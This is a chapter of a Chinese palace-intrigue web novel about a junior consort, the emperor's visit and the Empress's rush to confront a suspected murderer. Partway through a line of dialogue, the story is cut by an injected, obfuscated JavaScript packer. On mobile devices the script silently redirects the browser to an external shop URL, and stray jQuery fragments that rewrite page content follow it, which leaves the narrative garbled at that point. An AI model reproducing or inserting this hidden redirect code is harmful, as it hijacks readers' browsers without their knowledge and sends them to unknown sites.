怀瑾就像被突然掐住了脖子的鹌鹑，所有声音和动作瞬间僵住。


    她几乎是条件反射地窜回原地，双手迅速交叠于身前，下巴微收，眼帘低垂，连呼吸都放轻了，瞬间切换成背景板一样的宫妃姿态，与方才那个几乎要爬上房梁说书的活泼少女判若两人。


    萧景焕迈步进殿，目光先温和地落在太后身上。


    “儿臣给母后请安。”他行礼后，很自然地在太后身旁坐下，“听闻母后前几日有些咳嗽，可大好了？”


    太后欣慰地拍拍他的手：“早好了。倒是皇帝你，听说前朝为了漕运改制的事，闹得不可开交？哀家看你这几日都清减了。”


    萧景焕淡淡一笑，眉宇间带着掌控全局的从容：“劳母后挂心，不过是些跳梁小丑罢了。儿臣已命人查清了漕帮与户部勾结的实证，昨日当朝拿下，余者自然不敢再闹。”


    太后眼中流露出赞许：“皇帝治国是越发成熟了。”


    这时，萧景焕才转向芷昭，语气温和了许多：“昭儿近日在做什么？朕前日赏你的那套《山海经》图谱，可还喜欢？”


    芷昭立刻站起身，规规矩矩地行了个礼，小脸兴奋得发红：“喜欢极了！父皇，里面的异兽画得活灵活现，比太傅讲的《女则》有意思多了！”


    萧景焕眼中闪过一丝笑意：“喜欢便好。不过《女则》也要用心学，不可偏废。”


    “女儿明白！”芷昭用力点头，随即像是想起什么，迫不及待地想要分享，“父皇，方才沈娘娘讲赵子龙的故事，可精彩了！她学曹操发脾气的样子，气势十足，好像曹操就在眼前似的！”


    直到此刻，萧景焕的目光才仿佛不经意般，顺着女儿手指的方向，落到了那个努力缩小存在感的身影上：“是么？朕倒是扰了你们的雅兴。沈答应，不必拘礼，继续讲吧。”


    怀瑾头皮一紧，福身行礼，声音又轻又规矩，带着十足的恭敬与疏离：“陛下谬赞，臣妾……臣妾只是胡乱说些野史趣闻，给太后娘娘和公主殿下解闷，登不得大雅之堂。”


    太后端着茶盏，目光在儿子和那个瞬间“偃旗息鼓”的小答应之间打了个转，语气温和带着笑意：“皇帝这一来，倒像是那长坂坡上的曹军，把咱们的‘赵子龙’都给吓得不敢动弹了。”


    萧景焕闻此倒也没有异议，反而像应和太后似地，眼神玩味地投向角落的怀瑾，一副待看你如何破局的表情。


    众人目光之下，沈怀瑾此刻真切感受到什么叫“进退两难”。事到如今，她再退让拒绝那就是明晃晃的不识抬举了。


    “既然陛下愿听，嫔妾也就只好献丑了……”


    沈怀瑾姿态言语恭顺，但字里行间的勉强意味却是任谁都听得出来。


    芷昭公主见状却是于心不忍，毕竟两人可是认定过的塔什，而今朋友有难，她总不能坐视不理。


    只还没等她开口，端坐上首萧景焕却像是突然失了兴致般，随意摆了摆手，示意一旁的宫女近前上茶。


    低头浅浅啜饮一口，萧景焕换了个话题问道：“朕看你清减了许多，可是撷芳殿住不惯？”


    怀瑾没想到辰哥哥，哦不，皇上会注意到这样的细节，心头莫名一酸，却又迅速压下，几乎是照着标准答案模板回复：“回陛下，臣妾一切安好，谢陛下关心。”


    萧景焕抬眸再看沈怀瑾，小姑娘脸色沉肃，这副油盐不进、全身写满“请勿靠近”的模样，到底生不起气来。


    眼底掠过一丝极淡的无奈，萧景焕终究只是淡淡“嗯”了一声，权当放任她这小孩脾性，就此揭过。


    怀瑾暗暗松了口气，以为警报解除，继续努力扮演一根合格的柱子。


    芷昭则眨巴着大眼睛，看看瞬间变得“不好玩了”的沈答应，又看看神色莫辨的父皇。


    殿内的气氛，微妙得让人说不清道不明。


    *


    又闲话片刻，萧景焕见太后面露些许倦色，便适时起身：“母后想必也乏了，儿臣就不多打扰，先行告退。”


    太后含笑点头：“皇帝也早些歇息，朝务再忙，也当顾惜自身。”


    他转身离开，走到门口时，又回头看了一眼。


    怀瑾还站在那里，低着头。


    他眼中闪过一丝复杂，终究什么也没说，大步离去。


    天色渐晚，怀瑾与芷昭也一同行礼退了出来。


    怀瑾刚踏出宫门，就见一个面生的小太监缩在廊柱的阴影里，见她们出来，立刻小步急趋上前，对着怀瑾打了个千儿，声音带着急切：


    “沈小主万安，皇后娘娘已在凤仪宫等候多时，请您速去议事。”


    怀瑾心头一跳：“皇后娘娘？”


    “是。娘娘已经等了许久了，让奴才务必请您速去凤仪宫。”


    怀瑾立刻明白了。皇后是为了案子的事。


    她面上不动声色，只微微颔首：“有劳公公带路。”随即飞快地侧头，对雪盏低语一句：“去，把东西取来。”


    雪盏会意，立刻转身朝着撷芳殿方向快步离去。


    *


    踏入凤仪宫正殿，气氛与慈宁宫的轻松截然不同。烛火通明，映照着皇后宓明懿端坐凤座之上不怒自威的脸，以及下首纪初珩那张沉静却同样凝重的面容。


    怀瑾进殿，恭敬地行礼：“臣妾给皇后娘娘请安。”


    “起来吧。”皇后的声音听不出情绪。


    怀瑾起身，低着头站在一旁。


    皇后看着她，忽然说：“沈答应，你做得不错。”


    怀瑾一愣，不知道皇后是什么意思。


    皇后的声音带着一丝寒意：“你查到了新的线索。丽嫔，正是皇子落水前领冰的人。哪有这样的巧合？此事，与她一定脱不了干系。”


    她顿了顿，又问：“这两日,你可还查到什么新的线索？”


    怀瑾迟疑了一下，决定实话实说：“回皇后娘娘，臣妾……臣妾前日去了太液湖。”


    皇后眉头一皱：“太液湖？”


    “是。臣妾收到一张字条，说太液湖藏有案子的证物。臣妾便


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648917|187123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去了。可到了那里，证物没找到，却遇到了刺杀。”


    “什么？！”皇后往茶桌重重一拍。


    纪初珩也惊了：“刺杀？”


    怀瑾点头：“是。幸好臣妾的丫鬟有一点武功底子，救了臣妾一命。”


    “而且，”怀瑾继续说，“凶手逃跑时，掉落了一样东西。”


    正说着，雪盏从外面匆匆进来。她手里捧着一个帕子，快步走到怀瑾身边。


    怀瑾接过帕子，打开，取出那串手串：“皇后娘娘，这是凶手掉落的。”


    皇后接过手串，仔细查看。深褐色的珠子，散发着浓郁的药香。她拿起一颗，凑近闻了闻。


    “这是……药材做的？”


    “是。”怀瑾说，“臣妾闻出了乌头、附子、麝香几味药。”


    皇后紧紧攥着那条手串，像是那手串就是扼杀她孩儿的锁链。殿内烛火跳跃，映得她脸色明明灭灭。


    一直没发话的瑞雪姑姑见状，立刻上前，压低声音道：“娘娘，这桩桩件件，可都指向了玉芙宫那位啊！她仗着懂些医术，平日里就……如今竟敢做出这等谋害皇嗣、杀人灭口的勾当！”


    她观察着皇后的神色，字字敲在皇后的心坎上：“娘娘，皇子去得不明不白，您当时就觉蹊跷，却不奈三宫联合定下的‘意外’。您日夜为逝去的皇子祈福，如今这线索就是上天的回应！若不当机立断，只怕夜长梦多。不如趁今夜就去玉芙宫……”


    她顿了顿，又说：“若是拖到明日，只怕她有了防备，到时候更难查清了。”


    皇后听了这话，眼中的怒火更盛：“谋害皇子已是十恶不赦！如今竟还有人胆大包天，敢在宫中行此杀人灭口的勾当！真当本宫是泥塑木偶不成！今夜你们同本宫去玉芙宫，问个清楚！”


    怀瑾心里一沉。现在去？仅凭领冰记录和这来源尚未完全明晰的手串？


    她下意识上前一步，试图劝阻：“皇后娘娘，现在我们查到了丽嫔领冰的记录，还有这串手串。可……可这些还不能证明，丽嫔就是背后的凶手。贸然前去质问，若她矢口否认，反倒打草惊蛇，让她有了防备，不如……”


    皇后的目光，猛地射向怀瑾。那目光冰冷、锐利，带着压迫感。她冷笑一声：“她都已经要杀了你，你还怕打草惊蛇？”


    “现在，草已经打了，蛇已经惊了。”她一字一顿，“本宫倒要看看，她还能玩出什么把戏！”皇后居高临下地看着她。


    怀瑾被皇后的气势压得说不出话来。


    “沈答应。”皇后的声音，忽然变得温和了些，却更让人心里发寒，“你这些日子辛苦了，查案也查得用心。”


    她笑了笑：“不过，这宫里的事，何时该急，何时该缓，本宫……自有分寸。”


    怀瑾的后背，瞬间冒出冷汗。她立刻低下头：“臣妾……明白。臣妾失言，请娘娘恕罪。”


    怀瑾才意识到，此刻任何理性的劝阻，在一位被丧子之痛淹没的母亲面前，都将是苍白无力的，甚至可能引火烧身。